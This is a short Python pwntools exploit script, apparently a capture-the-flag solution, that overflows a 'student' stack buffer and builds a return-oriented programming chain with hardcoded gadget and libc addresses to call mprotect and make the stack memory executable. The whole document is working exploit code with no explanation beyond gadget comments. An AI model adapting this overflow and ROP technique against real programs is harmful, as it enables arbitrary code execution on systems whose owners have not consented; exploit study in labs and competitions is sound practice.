test

pwn.py

from pwn import *

student = 0x7fffffffe2f0
shellcode = "1925\n"
student_size = 0x7fffffffe348 - student
shellcode += "A" * student_size

# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr
shellcode += p64(0x00007ffffffde000)

# pop rsi; pop r15; ret;
shellcode += p64(0x0000000000400801)
# arg2 size
shellcode += p64(0x00007ffffffff000 - 0x00007ffffffde000)
shellcode += p64(0)
libc_base = 0x00007ffff7a0d000
# pop rdx; ret;
shellcode += p64(libc_base + 0x0000000000001b92)
# arg3 rwx
shellcode += p64(0x1 | 0x2 | 0x4)
# pop rax; ret
shellcode += p64(libc_base + 0x0000000000033544)
shellcode += p64(0xa - 1)

# add rax, 1 ; ret
shellcode += p64(libc_base + 0x00000000000abf40)

# syscall
shellcode += p64(libc_base + 0x00000000000bc375)


print shellcode